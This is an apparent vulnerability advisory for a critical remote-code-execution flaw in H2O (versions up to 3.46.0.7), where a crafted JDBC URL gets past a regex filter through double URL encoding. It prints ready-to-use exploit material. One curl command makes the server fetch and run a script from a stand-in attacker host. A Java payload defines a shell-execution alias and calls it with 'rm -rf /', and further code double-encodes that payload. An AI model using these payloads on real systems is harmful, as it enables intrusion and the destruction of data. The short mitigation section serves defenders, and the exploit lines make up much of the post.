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The CVE-2025-XXXXX vulnerability in H2O stems from improper deserialization of JDBC connection parameters. Attackers can exploit this by supplying a maliciously crafted JDBC URL. The application’s security checks rely on regular expressions to filter dangerous patterns. However, these checks can be bypassed using double URL encoding, where special characters are encoded twice. For example, a single slash ‘/’ is first encoded as ‘%2f’ and then encoded again as ‘%252f’. This double-encoded payload bypasses the regex filter but is ultimately decoded by the underlying Java libraries back into the dangerous character sequence. The deserialization process then treats this input as an instruction, leading to the deserialization of attacker-controlled data. This flaw allows the execution of arbitrary code on the server by leveraging the Java serialization mechanism to instantiate objects that trigger remote code execution during the deserialization process.
Platform: H2O
Version: <= 3.46.0.7
Vulnerability: Deserialization
Severity: Critical
date: 2025-09-21
Prediction: Patch by 2025-10-06
What Undercode Say:
curl -H "Content-Type: application/json" -d '{"jdbc_url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM '\''http://attacker.com/exploit.sql'\''"}' http://TARGET:54321/3/JDBCIngest
String payload = "jdbc:h2:mem:;INIT=CREATE ALIAS SHELLEXEC AS $$ void shellexec(String cmd) throws java.io.IOException { Runtime.getRuntime().exec(cmd); } $$; CALL SHELLEXEC ('rm -rf /')";
String doubleEncoded = URLEncoder.encode(URLEncoder.encode(payload, "UTF-8"), "UTF-8");
How Exploit:
Bypass regex filters via double URL encoding in JDBC parameters to trigger remote code execution during deserialization.
Protection from this CVE
Upgrade H2O to a version beyond 3.46.0.7 once a patch is released. Immediately restrict network access to the H2O server and sanitize all input fields related to JDBC configuration.
Impact:
Arbitrary system file read and remote code execution with the privileges of the H2O server process.
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Sources:
Reported By: github.com
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